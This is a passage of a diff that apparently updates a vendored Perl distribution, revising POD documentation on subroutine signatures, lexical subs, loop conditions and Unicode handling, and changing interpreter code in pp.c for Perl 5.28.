-the subroutine name (or, for anonymous subroutines, immediately after
-the C<sub> keyword).  The signature declares lexical variables that are
+subroutine is simply a braced block of code, but when using a signature,
+the signature is a parenthesised list that goes immediately before the
+block, after any name or attributes.
+
+For example,
+
+    sub foo :lvalue ($a, $b = 1, @c) { .... }
+
+The signature declares lexical variables that are
 in scope for the block.  When the subroutine is called, the signature
 takes control first.  It populates the signature variables from the
 list of arguments that were passed.  If the argument list doesn't meet
@@ -490,12 +500,13 @@
 of calls to the subroutine, and the signature puts argument values into
 lexical variables at runtime.  You can therefore write
 
-    sub foo ($left, $right) : prototype($$) {
+    sub foo :prototype($$) ($left, $right) {
 	return $left + $right;
     }
 
-The prototype attribute, and any other attributes, come after 
-the signature.
+The prototype attribute, and any other attributes, must come before
+the signature.  The signature always immediately precedes the block of
+the subroutine's body.
 
 =head2 Private Variables via my()
 X<my> X<variable, lexical> X<lexical> X<lexical variable> X<scope, lexical>
@@ -736,10 +747,11 @@
 Also, since C<$x> is lexical, it can't be reached or modified by any Perl
 code outside.
 
-When combined with variable declaration, simple scalar assignment to C<state>
+When combined with variable declaration, simple assignment to C<state>
 variables (as in C<state $x = 42>) is executed only the first time.  When such
 statements are evaluated subsequent times, the assignment is ignored.  The
-behavior of this sort of assignment to non-scalar variables is undefined.
+behavior of assignment to C<state> declarations where the left hand side
+of the assignment involves any parentheses is currently undefined.
 
 =head3 Persistent variables with closures
 
@@ -1073,25 +1085,46 @@
     no warnings "experimental::lexical_subs";
     use feature 'lexical_subs';
 
-    foo();		# calls the package/global subroutine
+    foo();              # calls the package/global subroutine
     state sub foo {
-	foo();		# also calls the package subroutine
+        foo();          # also calls the package subroutine
     }
-    foo();		# calls "state" sub
-    my $ref = \&foo;	# take a reference to "state" sub
+    foo();              # calls "state" sub
+    my $ref = \&foo;    # take a reference to "state" sub
 
     my sub bar { ... }
-    bar();		# calls "my" sub
+    bar();              # calls "my" sub
 
-To use a lexical subroutine from inside the subroutine itself, you must
-predeclare it.  The C<sub foo {...}> subroutine definition syntax respects
-any previous C<my sub;> or C<state sub;> declaration.
+You can't (directly) write a recursive lexical subroutine:
 
-    my sub baz;		# predeclaration
-    sub baz {		# define the "my" sub
-	baz();		# recursive call
+    # WRONG
+    my sub baz {
+        baz();
     }
 
+This example fails because C<baz()> refers to the package/global subroutine
+C<baz>, not the lexical subroutine currently being defined.
+
+The solution is to use L<C<__SUB__>|perlfunc/__SUB__>:
+
+    my sub baz {
+        __SUB__->();    # calls itself
+    }
+
+It is possible to predeclare a lexical subroutine.  The C<sub foo {...}>
+subroutine definition syntax respects any previous C<my sub;> or C<state sub;>
+declaration.  Using this to define recursive subroutines is a bad idea,
+however:
+
+    my sub baz;         # predeclaration
+    sub baz {           # define the "my" sub
+        baz();          # WRONG: calls itself, but leaks memory
+    }
+
+Just like C<< my $f; $f = sub { $f->() } >>, this example leaks memory.  The
+name C<baz> is a reference to the subroutine, and the subroutine uses the name
+C<baz>; they keep each other alive (see L<perlref/Circular References>).
+
 =head3 C<state sub> vs C<my sub>
 
 What is the difference between "state" subs and "my" subs?  Each time that

Modified: vendor/perl/dist/pod/perlsyn.pod
===================================================================
--- vendor/perl/dist/pod/perlsyn.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlsyn.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -116,16 +116,6 @@
 TERMs in an expression--and thus need an explicit termination when used
 as the last item in a statement.
 
-=head2 Truth and Falsehood
-X<truth> X<falsehood> X<true> X<false> X<!> X<not> X<negation> X<0>
-
-The number 0, the strings C<'0'> and C<"">, the empty list C<()>, and
-C<undef> are all false in a boolean context.  All other values are true.
-Negation of a true value by C<!> or C<not> returns a special false value.
-When evaluated as a string it is treated as C<"">, but as a number, it
-is treated as 0.  Most Perl operators
-that return true or false behave this way.
-
 =head2 Statement Modifiers
 X<statement modifier> X<modifier> X<if> X<unless> X<while>
 X<until> X<when> X<foreach> X<for>
@@ -158,6 +148,8 @@
     print "Hello $_!\n" for qw(world Dolly nurse);
 
 C<while> repeats the statement I<while> the condition is true.
+Postfix C<while> has the same magic treatment of some kinds of condition
+that prefix C<while> has.
 C<until> does the opposite, it repeats the statement I<until> the
 condition is true (or while the condition is false):
 
@@ -243,8 +235,16 @@
 of a required file, or the program as a whole), and sometimes a block
 is delimited by the extent of a string (in the case of an eval).
 
-But generally, a block is delimited by curly brackets, also known as braces.
-We will call this syntactic construct a BLOCK.
+But generally, a block is delimited by curly brackets, also known as
+braces.  We will call this syntactic construct a BLOCK.  Because enclosing
+braces are also the syntax for hash reference constructor expressions
+(see L<perlref>), you may occasionally need to disambiguate by placing a
+C<;> immediately after an opening brace so that Perl realises the brace
+is the start of a block.  You will more frequently need to disambiguate
+the other way, by placing a C<+> immediately before an opening brace to
+force it to be interpreted as a hash reference constructor expression.
+It is considered good style to use these disambiguating mechanisms
+liberally, not only when Perl would otherwise guess incorrectly.
 
 The following compound statements may be used to control flow:
 
@@ -304,7 +304,7 @@
 twice before they can understand what's going on.
 
 The C<while> statement executes the block as long as the expression is
-L<true|/"Truth and Falsehood">.
+true.
 The C<until> statement executes the block as long as the expression is
 false.
 The LABEL is optional, and if present, consists of an identifier followed
@@ -316,6 +316,20 @@
 desperate behavior triggers a warning if you use the C<use warnings>
 pragma or the B<-w> flag.
 
+If the condition expression of a C<while> statement is based
+on any of a group of iterative expression types then it gets
+some magic treatment.  The affected iterative expression types
+are L<C<readline>|perlfunc/readline EXPR>, the L<C<< <FILEHANDLE>
+>>|perlop/"I/O Operators"> input operator, L<C<readdir>|perlfunc/readdir
+DIRHANDLE>, L<C<glob>|perlfunc/glob EXPR>, the L<C<< <PATTERN>
+>>|perlop/"I/O Operators"> globbing operator, and L<C<each>|perlfunc/each
+HASH>.  If the condition expression is one of these expression types, then
+the value yielded by the iterative operator will be implicitly assigned
+to C<$_>.  If the condition expression is one of these expression types
+or an explicit assignment of one of them to a scalar, then the condition
+actually tests for definedness of the expression's value, not for its
+regular truth value.
+
 If there is a C<continue> BLOCK, it is always executed just before the
 conditional is about to be evaluated again.  Thus it can be used to
 increment a loop variable, even when the loop has been continued via
@@ -469,15 +483,9 @@
         # do something
     }
 
-Using C<readline> (or the operator form, C<< <EXPR> >>) as the
-conditional of a C<for> loop is shorthand for the following.  This
-behaviour is the same as a C<while> loop conditional.
-X<readline> X<< <> >>
+The condition expression of a C<for> loop gets the same magic treatment of
+C<readline> et al that the condition expression of a C<while> loop gets.
 
-    for ( prompt(); defined( $_ = <STDIN> ); prompt() ) {
-        # do something
-    }
-
 =head2 Foreach Loops
 X<for> X<foreach>
 
@@ -754,12 +762,7 @@
 X<triple-dot operator>
 
 Beginning in Perl 5.12, Perl accepts an ellipsis, "C<...>", as a
-placeholder for code that you haven't implemented yet.  This form of
-ellipsis, the unimplemented statement, should not be confused with the
-binary flip-flop C<...> operator.  One is a statement and the other an
-operator.  (Perl doesn't usually confuse them because usually Perl can tell
-whether it wants an operator or a statement, but see below for exceptions.)
-
+placeholder for code that you haven't implemented yet.
 When Perl 5.12 or later encounters an ellipsis statement, it parses this
 without error, but if and when you should actually try to execute it, Perl
 throws an exception with the text C<Unimplemented>:
@@ -771,8 +774,11 @@
         say "I found an ellipsis!";
     }
 
-You can only use the elliptical statement to stand in for a
-complete statement.  These examples of how the ellipsis works:
+You can only use the elliptical statement to stand in for a complete
+statement.  Syntactically, "C<...;>" is a complete statement, but,
+as with other kinds of semicolon-terminated statement, the semicolon
+may be omitted if "C<...>" appears immediately before a closing brace.
+These examples show how the ellipsis works:
 
     use v5.12;
     { ... }
@@ -791,9 +797,7 @@
     };
 
 The elliptical statement cannot stand in for an expression that
-is part of a larger statement, since the C<...> is also the three-dot
-version of the flip-flop operator (see L<perlop/"Range Operators">).
-
+is part of a larger statement.
 These examples of attempts to use an ellipsis are syntax errors:
 
     use v5.12;
@@ -801,23 +805,18 @@
     print ...;
     open(my $fh, ">", "/dev/passwd") or ...;
     if ($condition && ... ) { say "Howdy" };
+    ... if $a > $b;
+    say "Cromulent" if ...;
+    $flub = 5 + ...;
 
 There are some cases where Perl can't immediately tell the difference
 between an expression and a statement.  For instance, the syntax for a
 block and an anonymous hash reference constructor look the same unless
 there's something in the braces to give Perl a hint.  The ellipsis is a
-syntax error if Perl doesn't guess that the C<{ ... }> is a block.  In that
-case, it doesn't think the C<...> is an ellipsis because it's expecting an
-expression instead of a statement:
-
-    @transformed = map { ... } @input;    # syntax error
-
+syntax error if Perl doesn't guess that the C<{ ... }> is a block.
 Inside your block, you can use a C<;> before the ellipsis to denote that the
-C<{ ... }> is a block and not a hash reference constructor.  Now the ellipsis
-works:
+C<{ ... }> is a block and not a hash reference constructor.
 
-    @transformed = map {; ... } @input;   # ';' disambiguates
-
 Note: Some folks colloquially refer to this bit of punctuation as a
 "yada-yada" or "triple-dot", but its true name
 is actually an ellipsis.
@@ -993,7 +992,7 @@
 A smart match that uses an explicit C<~~> operator, such as C<EXPR ~~ EXPR>.
 
 B<NOTE:> You will often have to use C<$c ~~ $_> because the default case
-uses C<$_ ~~ $c> , which is frequentlythe opposite of what you want.
+uses C<$_ ~~ $c> , which is frequently the opposite of what you want.
 
 =item Z<>4.
 

Modified: vendor/perl/dist/pod/perltie.pod
===================================================================
--- vendor/perl/dist/pod/perltie.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perltie.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -504,8 +504,9 @@
 CLEAR empties the hash by deleting all the key and value pairs.  FIRSTKEY
 and NEXTKEY implement the keys() and each() functions to iterate over all
 the keys. SCALAR is triggered when the tied hash is evaluated in scalar 
-context. UNTIE is called when C<untie> happens, and DESTROY is called when
-the tied variable is garbage collected.
+context, and in 5.28 onwards, by C<keys> in boolean context. UNTIE is
+called when C<untie> happens, and DESTROY is called when the tied variable
+is garbage collected.
 
 If this seems like a lot, then feel free to inherit from merely the
 standard Tie::StdHash module for most of your methods, redefining only the
@@ -805,9 +806,10 @@
 =item SCALAR this
 X<SCALAR>
 
-This is called when the hash is evaluated in scalar context. In order
-to mimic the behaviour of untied hashes, this method should return a
-false value when the tied hash is considered empty. If this method does
+This is called when the hash is evaluated in scalar context, and in 5.28
+onwards, by C<keys> in boolean context. In order to mimic the behaviour of
+untied hashes, this method must return a value which when used as boolean,
+indicates whether the tied hash is considered empty. If this method does
 not exist, perl will make some educated guesses and return true when
 the hash is inside an iteration. If this isn't the case, FIRSTKEY is
 called, and the result will be a false value if FIRSTKEY returns the empty

Modified: vendor/perl/dist/pod/perlunicode.pod
===================================================================
--- vendor/perl/dist/pod/perlunicode.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlunicode.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -60,10 +60,11 @@
 Use the C<:encoding(...)> layer  to read from and write to
 filehandles using the specified encoding.  (See L<open>.)
 
-=item You should convert your non-ASCII, non-UTF-8 Perl scripts to be
+=item You must convert your non-ASCII, non-UTF-8 Perl scripts to be
 UTF-8.
 
-See L<encoding>.
+The L<encoding> module has been deprecated since perl 5.18 and the
+perl internals it requires have been removed with perl 5.26.
 
 =item C<use utf8> still needed to enable L<UTF-8|/Unicode Encodings> in scripts
 
@@ -191,11 +192,12 @@
 =item *
 
 The bit string operators, C<& | ^ ~> and (starting in v5.22)
-C<&. |. ^.  ~.> can operate on characters that don't fit into a byte.
-However, the current behavior is likely to change.  You should not use
-these operators on strings that are encoded in UTF-8.  If you're not
-sure about the encoding of a string, downgrade it before using any of
-these operators; you can use
+C<&. |. ^.  ~.> can operate on bit strings encoded in UTF-8, but this
+can give unexpected results if any of the strings contain code points
+above 0xFF.  Starting in v5.28, it is a fatal error to have such an
+operand.  Otherwise, the operation is performed on a non-UTF-8 copy of
+the operand.  If you're not sure about the encoding of a string,
+downgrade it before using any of these operators; you can use
 L<C<utf8::utf8_downgrade()>|utf8/Utility functions>.
 
 =back
@@ -232,7 +234,7 @@
 Within the scope of S<C<use utf8>>
 
 If the whole program is Unicode (signified by using 8-bit B<U>nicode
-B<T>ransformation B<F>ormat), then all strings within it must be
+B<T>ransformation B<F>ormat), then all literal strings within it must be
 Unicode.
 
 =item *
@@ -392,7 +394,7 @@
 
 You may be presented with strings in any of these equivalent forms.
 There is currently nothing in Perl 5 that ignores the differences.  So
-you'll have to specially hanlde it.  The usual advice is to convert your
+you'll have to specially handle it.  The usual advice is to convert your
 inputs to C<NFD> before processing further.
 
 For more detailed information, see L<http://unicode.org/reports/tr15/>.
@@ -679,7 +681,7 @@
 
 =head3 B<Use of the C<"Is"> Prefix>
 
-For backward compatibility (with Perl 5.6), all properties writable
+For backward compatibility (with ancient Perl 5.6), all properties writable
 without using the compound form mentioned
 so far may have C<Is> or C<Is_> prepended to their name, so C<\P{Is_Lu}>, for
 example, is equal to C<\P{Lu}>, and C<\p{IsScript:Arabic}> is equal to
@@ -1677,7 +1679,7 @@
 
 Because UTF-EBCDIC is so similar to UTF-8, the differences are mostly
 hidden from you; S<C<use utf8>> (and NOT something like
-S<C<use utfebcdic>>) declares the the script is in the platform's
+S<C<use utfebcdic>>) declares the script is in the platform's
 "native" 8-bit encoding of Unicode.  (Similarly for the C<":utf8">
 layer.)
 
@@ -1835,6 +1837,17 @@
 exceeded that of the right-hand side, where the right-hand side took up more
 bytes than the correct range endpoint.
 
+=item *
+
+In L<< C<split>'s special-case whitespace splitting|perlfunc/split >>.
+
+Starting in Perl 5.28.0, the C<split> function with a pattern specified as
+a string containing a single space handles whitespace characters consistently
+within the scope of of C<unicode_strings>. Prior to that, or outside its scope,
+characters that are whitespace according to Unicode rules but not according to
+ASCII rules were treated as field contents rather than field separators when
+they appear in byte-encoded strings.
+
 =back
 
 You can see from the above that the effect of C<unicode_strings>

Modified: vendor/perl/dist/pod/perluniintro.pod
===================================================================
--- vendor/perl/dist/pod/perluniintro.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perluniintro.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -151,11 +151,12 @@
 problems of the initial Unicode implementation, but for example
 regular expressions still do not work with Unicode in 5.6.1.
 Perl v5.14.0 is the first release where Unicode support is
-(almost) seamlessly integrable without some gotchas. (There are two
+(almost) seamlessly integrable without some gotchas. (There are a few
 exceptions. Firstly, some differences in L<quotemeta|perlfunc/quotemeta>
 were fixed starting in Perl 5.16.0. Secondly, some differences in
 L<the range operator|perlop/Range Operators> were fixed starting in
-Perl 5.26.0.)
+Perl 5.26.0. Thirdly, some differences in L<split|perlfunc/split> were fixed
+started in Perl 5.28.0.)
 
 To enable this
 seamless support, you should C<use feature 'unicode_strings'> (which is
@@ -472,9 +473,12 @@
 list see L<Encode::Supported>.
 
 C<read()> reads characters and returns the number of characters.
-C<seek()> and C<tell()> operate on byte counts, as do C<sysread()>
-and C<sysseek()>.
+C<seek()> and C<tell()> operate on byte counts, as does C<sysseek()>.
 
+C<sysread()> and C<syswrite()> should not be used on file handles with
+character encoding layers, they behave badly, and that behaviour has
+been deprecated since perl 5.24.
+
 Notice that because of the default behaviour of not doing any
 conversion upon input if there is no default layer,
 it is easy to mistakenly write code that keeps on expanding a file
@@ -534,15 +538,17 @@
 
 =item *
 
-Bit Complement Operator ~ And vec()
+Starting in Perl 5.28, it is illegal for bit operators, like C<~>, to
+operate on strings containing code points above 255.
 
-The bit complement operator C<~> may produce surprising results if
+=item *
+
+The vec() function may produce surprising results if
 used on strings containing characters with ordinal values above
 255. In such a case, the results are consistent with the internal
 encoding of the characters, but not with much else. So don't do
-that. Similarly for C<vec()>: you will be operating on the
-internally-encoded bit patterns of the Unicode characters, not on
-the code point values, which is very probably not what you want.
+that, and starting in Perl 5.28, a deprecation message is issued if you
+do so, becoming illegal in Perl 5.32.
 
 =item *
 
@@ -843,9 +849,13 @@
 
 How Does Unicode Work With Traditional Locales?
 
-If your locale is a UTF-8 locale, starting in Perl v5.20, Perl works
-well for all categories except C<LC_COLLATE> dealing with sorting and
-the C<cmp> operator.
+If your locale is a UTF-8 locale, starting in Perl v5.26, Perl works
+well for all categories; before this, starting with Perl v5.20, it works
+for all categories but C<LC_COLLATE>, which deals with
+sorting and the C<cmp> operator.  But note that the standard
+C<L<Unicode::Collate>> and C<L<Unicode::Collate::Locale>> modules offer
+much more powerful solutions to collation issues, and work on earlier
+releases.
 
 For other locales, starting in Perl 5.16, you can specify
 

Modified: vendor/perl/dist/pod/perlvar.pod
===================================================================
--- vendor/perl/dist/pod/perlvar.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlvar.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -142,20 +142,13 @@
 
 =back
 
-C<$_> is by default a global variable.  However, as
-of perl v5.10.0, you can use a lexical version of
-C<$_> by declaring it in a file or in a block with C<my>.  Moreover,
-declaring C<our $_> restores the global C<$_> in the current scope.  Though
-this seemed like a good idea at the time it was introduced, lexical C<$_>
-actually causes more problems than it solves.  If you call a function that
-expects to be passed information via C<$_>, it may or may not work,
-depending on how the function is written, there not being any easy way to
-solve this.  Just avoid lexical C<$_>, unless you are feeling particularly
-masochistic.  For this reason lexical C<$_> is still experimental and will
-produce a warning unless warnings have been disabled.  As with other
-experimental features, the behavior of lexical C<$_> is subject to change
-without notice, including change into a fatal error.
+C<$_> is a global variable.
 
+However, between perl v5.10.0 and v5.24.0, it could be used lexically by
+writing C<my $_>.  Making C<$_> refer to the global C<$_> in the same scope
+was then possible with C<our $_>.  This experimental feature was removed and is
+now a fatal error, but you may encounter it in older code.
+
 Mnemonic: underline is understood in certain operations.
 
 =item @ARG
@@ -874,9 +867,9 @@
 
     $str =~ /pattern/;
 
-    print $`, $&, $'; # bad: perfomance hit
+    print $`, $&, $'; # bad: performance hit
 
-    print             # good: no perfomance hit
+    print             # good: no performance hit
 	substr($str, 0,     $-[0]),
 	substr($str, $-[0], $+[0]-$-[0]),
 	substr($str, $+[0]);
@@ -1121,6 +1114,9 @@
 The keys of the C<%+> hash list only the names of buffers that have
 captured (and that are thus associated to defined values).
 
+If multiple distinct capture groups have the same name, then
+C<$+{NAME}> will refer to the leftmost defined group in the match.
+
 The underlying behaviour of C<%+> is provided by the
 L<Tie::Hash::NamedCapture> module.
 
@@ -1990,6 +1986,7 @@
 function.
 
 This variable was added in Perl 5.8.2 and removed in 5.26.0.
+Setting it to anything other than C<undef> was made fatal in Perl 5.28.0.
 
 =item ${^GLOBAL_PHASE}
 X<${^GLOBAL_PHASE}>
@@ -2255,6 +2252,21 @@
 
 This variable was added in Perl v5.8.0.
 
+=item ${^SAFE_LOCALES}
+X<${^SAFE_LOCALES}>
+
+Reflects if safe locale operations are available to this perl (when the
+value is 1) or not (the value is 0).  This variable is always 1 if the
+perl has been compiled without threads.  It is also 1 if this perl is
+using thread-safe locale operations.  Note that an individual thread may
+choose to use the global locale (generally unsafe) by calling
+L<perlapi/switch_to_global_locale>.  This variable currently is still
+set to 1 in such threads.
+
+This variable is read-only.
+
+This variable was added in Perl v5.28.0.
+
 =item ${^UNICODE}
 X<${^UNICODE}>
 
@@ -2359,6 +2371,8 @@
 
 Deprecated in Perl v5.12.0.
 
+Assigning a non-zero value be fatal in Perl v5.30.0.
+
 =back
 
 =cut

Modified: vendor/perl/dist/pp.c
===================================================================
--- vendor/perl/dist/pp.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pp.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,22 +31,6 @@
 #include "reentr.h"
 #include "regcharclass.h"
 
-/* XXX I can't imagine anyone who doesn't have this actually _needs_
-   it, since pid_t is an integral type.
-   --AD  2/20/1998
-*/
-#ifdef NEED_GETPID_PROTO
-extern Pid_t getpid (void);
-#endif
-
-/*
- * Some BSDs and Cygwin default to POSIX math instead of IEEE.
- * This switches them over to IEEE.
- */
-#if defined(LIBM_LIB_VERSION)
-    _LIB_VERSION_TYPE _LIB_VERSION = _IEEE_;
-#endif
-
 static const STRLEN small_mu_len = sizeof(GREEK_SMALL_LETTER_MU_UTF8) - 1;
 static const STRLEN capital_iota_len = sizeof(GREEK_CAPITAL_LETTER_IOTA_UTF8) - 1;
 
@@ -62,102 +46,8 @@
 
 /* Pushy stuff. */
 
-/* This is also called directly by pp_lvavref.  */
-PP(pp_padav)
-{
-    dSP; dTARGET;
-    U8 gimme;
-    assert(SvTYPE(TARG) == SVt_PVAV);
-    if (UNLIKELY( PL_op->op_private & OPpLVAL_INTRO ))
-	if (LIKELY( !(PL_op->op_private & OPpPAD_STATE) ))
-	    SAVECLEARSV(PAD_SVl(PL_op->op_targ));
-    EXTEND(SP, 1);
 
-    if (PL_op->op_flags & OPf_REF) {
-	PUSHs(TARG);
-	RETURN;
-    }
-    else if (PL_op->op_private & OPpMAYBE_LVSUB) {
-        const I32 flags = is_lvalue_sub();
-        if (flags && !(flags & OPpENTERSUB_INARGS)) {
-	    if (GIMME_V == G_SCALAR)
-                /* diag_listed_as: Can't return %s to lvalue scalar context */
-                Perl_croak(aTHX_ "Can't return array to lvalue scalar context");
-            PUSHs(TARG);
-            RETURN;
-       }
-    }
 
-    gimme = GIMME_V;
-    if (gimme == G_ARRAY) {
-        /* XXX see also S_pushav in pp_hot.c */
-	const SSize_t maxarg = AvFILL(MUTABLE_AV(TARG)) + 1;
-	EXTEND(SP, maxarg);
-	if (SvMAGICAL(TARG)) {
-	    SSize_t i;
-	    for (i=0; i < maxarg; i++) {
-		SV * const * const svp = av_fetch(MUTABLE_AV(TARG), i, FALSE);
-		SP[i+1] = (svp) ? *svp : &PL_sv_undef;
-	    }
-	}
-	else {
-	    SSize_t i;
-	    for (i=0; i < maxarg; i++) {
-		SV * const sv = AvARRAY((const AV *)TARG)[i];
-		SP[i+1] = sv ? sv : &PL_sv_undef;
-	    }
-	}
-	SP += maxarg;
-    }
-    else if (gimme == G_SCALAR) {
-	SV* const sv = sv_newmortal();
-	const SSize_t maxarg = AvFILL(MUTABLE_AV(TARG)) + 1;
-	sv_setiv(sv, maxarg);
-	PUSHs(sv);
-    }
-    RETURN;
-}
-
-PP(pp_padhv)
-{
-    dSP; dTARGET;
-    U8 gimme;
-
-    assert(SvTYPE(TARG) == SVt_PVHV);
-    XPUSHs(TARG);
-    if (UNLIKELY( PL_op->op_private & OPpLVAL_INTRO ))
-	if (LIKELY( !(PL_op->op_private & OPpPAD_STATE) ))
-	    SAVECLEARSV(PAD_SVl(PL_op->op_targ));
-
-    if (PL_op->op_flags & OPf_REF)
-	RETURN;
-    else if (PL_op->op_private & OPpMAYBE_LVSUB) {
-        const I32 flags = is_lvalue_sub();
-        if (flags && !(flags & OPpENTERSUB_INARGS)) {
-            if (GIMME_V == G_SCALAR)
-                /* diag_listed_as: Can't return %s to lvalue scalar context */
-                Perl_croak(aTHX_ "Can't return hash to lvalue scalar context");
-            RETURN;
-        }
-    }
-
-    gimme = GIMME_V;
-    if (gimme == G_ARRAY) {
-	RETURNOP(Perl_do_kv(aTHX));
-    }
-    else if ((PL_op->op_private & OPpTRUEBOOL
-	  || (  PL_op->op_private & OPpMAYBE_TRUEBOOL
-	     && block_gimme() == G_VOID  ))
-	  && (!SvRMAGICAL(TARG) || !mg_find(TARG, PERL_MAGIC_tied))
-    )
-	SETs(HvUSEDKEYS(TARG) ? &PL_sv_yes : &PL_sv_no);
-    else if (gimme == G_SCALAR) {
-	SV* const sv = Perl_hv_scalar(aTHX_ MUTABLE_HV(TARG));
-	SETs(sv);
-    }
-    RETURN;
-}
-
 PP(pp_padcv)
 {
     dSP; dTARGET;
@@ -239,20 +129,18 @@
 		 */
 		if (vivify_sv && sv != &PL_sv_undef) {
 		    GV *gv;
+		    HV *stash;
 		    if (SvREADONLY(sv))
 			Perl_croak_no_modify();
+		    gv = MUTABLE_GV(newSV(0));
+		    stash = CopSTASH(PL_curcop);
+		    if (SvTYPE(stash) != SVt_PVHV) stash = NULL;
 		    if (cUNOP->op_targ) {
 			SV * const namesv = PAD_SV(cUNOP->op_targ);
-			HV *stash = CopSTASH(PL_curcop);
-			if (SvTYPE(stash) != SVt_PVHV) stash = NULL;
-			gv = MUTABLE_GV(newSV(0));
 			gv_init_sv(gv, stash, namesv, 0);
 		    }
 		    else {
-			const char * const name = CopSTASHPV(PL_curcop);
-			gv = newGVgen_flags(name,
-                                HvNAMEUTF8(CopSTASH(PL_curcop)) ? SVf_UTF8 : 0 );
-			SvREFCNT_inc_simple_void_NN(gv);
+			gv_init_pv(gv, stash, "__ANONIO__", 0);
 		    }
 		    prepare_SV_for_RV(sv);
 		    SvRV_set(sv, MUTABLE_SV(gv));
@@ -403,6 +291,7 @@
 	else if (PL_op->op_private & OPpDEREF)
 	    sv = vivify_ref(sv, PL_op->op_private & OPpDEREF);
     }
+    SPAGAIN; /* in case chasing soft refs reallocated the stack */
     SETs(sv);
     RETURN;
 }
@@ -439,11 +328,15 @@
     else {
 	    const MAGIC * const mg = mg_find_mglob(sv);
 	    if (mg && mg->mg_len != -1) {
-		dTARGET;
 		STRLEN i = mg->mg_len;
-		if (mg->mg_flags & MGf_BYTES && DO_UTF8(sv))
-		    i = sv_pos_b2u_flags(sv, i, SV_GMAGIC|SV_CONST_RETURN);
-		SETu(i);
+                if (PL_op->op_private & OPpTRUEBOOL)
+                    SETs(i ? &PL_sv_yes : &PL_sv_zero);
+                else {
+                    dTARGET;
+                    if (mg->mg_flags & MGf_BYTES && DO_UTF8(sv))
+                        i = sv_pos_b2u_flags(sv, i, SV_GMAGIC|SV_CONST_RETURN);
+                    SETu(i);
+                }
 		return NORMAL;
 	    }
 	    SETs(&PL_sv_undef);
@@ -489,7 +382,7 @@
     if (SvGMAGICAL(TOPs)) SETs(sv_mortalcopy(TOPs));
     if (SvPOK(TOPs) && SvCUR(TOPs) >= 7) {
 	const char * s = SvPVX_const(TOPs);
-	if (strnEQ(s, "CORE::", 6)) {
+        if (memBEGINs(s, SvCUR(TOPs), "CORE::")) {
 	    const int code = keyword(s + 6, SvCUR(TOPs) - 6, 1);
 	    if (!code)
 		DIE(aTHX_ "Can't find an opnumber for \"%" UTF8f "\"",
@@ -574,6 +467,8 @@
     else if (SvPADTMP(sv)) {
         sv = newSVsv(sv);
     }
+    else if (UNLIKELY(SvSMAGICAL(sv) && mg_find(sv, PERL_MAGIC_nonelem)))
+        sv_unmagic(SvREFCNT_inc_simple_NN(sv), PERL_MAGIC_nonelem);
     else {
 	SvTEMP_off(sv);
 	SvREFCNT_inc_void_NN(sv);
@@ -591,19 +486,50 @@
     SV * const sv = TOPs;
 
     SvGETMAGIC(sv);
-    if (!SvROK(sv))
+    if (!SvROK(sv)) {
 	SETs(&PL_sv_no);
-    else {
+        return NORMAL;
+    }
+
+    /* op is in boolean context? */
+    if (   (PL_op->op_private & OPpTRUEBOOL)
+        || (   (PL_op->op_private & OPpMAYBE_TRUEBOOL)
+            && block_gimme() == G_VOID))
+    {
+        /* refs are always true - unless it's to an object blessed into a
+         * class with a false name, i.e. "0". So we have to check for
+         * that remote possibility. The following is is basically an
+         * unrolled SvTRUE(sv_reftype(rv)) */
+        SV * const rv = SvRV(sv);
+        if (SvOBJECT(rv)) {
+            HV *stash = SvSTASH(rv);
+            HEK *hek = HvNAME_HEK(stash);
+            if (hek) {
+                I32 len = HEK_LEN(hek);
+                /* bail out and do it the hard way? */
+                if (UNLIKELY(
+                       len == HEf_SVKEY
+                    || (len == 1 && HEK_KEY(hek)[0] == '0')
+                ))
+                    goto do_sv_ref;
+            }
+        }
+        SETs(&PL_sv_yes);
+        return NORMAL;
+    }
+
+  do_sv_ref:
+    {
 	dTARGET;
 	SETs(TARG);
-	/* use the return value that is in a register, its the same as TARG */
-	TARG = sv_ref(TARG,SvRV(sv),TRUE);
+	sv_ref(TARG, SvRV(sv), TRUE);
 	SvSETMAGIC(TARG);
+	return NORMAL;
     }
 
-    return NORMAL;
 }
 
+
 PP(pp_bless)
 {
     dSP;
@@ -765,8 +691,8 @@
 	PUSHs(newsv);
     }
     else {
-	I32 i = do_trans(sv);
-	mPUSHi(i);
+	Size_t i = do_trans(sv);
+	mPUSHi((UV)i);
     }
     RETURN;
 }
@@ -1514,15 +1440,9 @@
        can be too large to preserve, so don't need to compile the code to
        test the size of UVs.  */
 
-#ifdef SLOPPYDIVIDE
+#if defined(SLOPPYDIVIDE) || (defined(PERL_PRESERVE_IVUV) && !defined(NV_PRESERVES_UV))
 #  define PERL_TRY_UV_DIVIDE
     /* ensure that 20./5. == 4. */
-#else
-#  ifdef PERL_PRESERVE_IVUV
-#    ifndef NV_PRESERVES_UV
-#      define PERL_TRY_UV_DIVIDE
-#    endif
-#  endif
 #endif
 
 #ifdef PERL_TRY_UV_DIVIDE
@@ -1751,8 +1671,9 @@
     IV count;
     SV *sv;
     bool infnan = FALSE;
+    const U8 gimme = GIMME_V;
 
-    if (GIMME_V == G_ARRAY && PL_op->op_private & OPpREPEAT_DOLIST) {
+    if (gimme == G_ARRAY && PL_op->op_private & OPpREPEAT_DOLIST) {
 	/* TODO: think of some way of doing list-repeat overloading ??? */
 	sv = POPs;
 	SvGETMAGIC(sv);
@@ -1816,7 +1737,7 @@
                        "Negative repeat count does nothing");
     }
 
-    if (GIMME_V == G_ARRAY && PL_op->op_private & OPpREPEAT_DOLIST) {
+    if (gimme == G_ARRAY && PL_op->op_private & OPpREPEAT_DOLIST) {
 	dMARK;
 	const SSize_t items = SP - MARK;
 	const U8 mod = PL_op->op_flags & OPf_MOD;
@@ -2589,8 +2510,11 @@
 PP(pp_not)
 {
     dSP;
+    SV *sv;
+
     tryAMAGICun_MG(not_amg, AMGf_set);
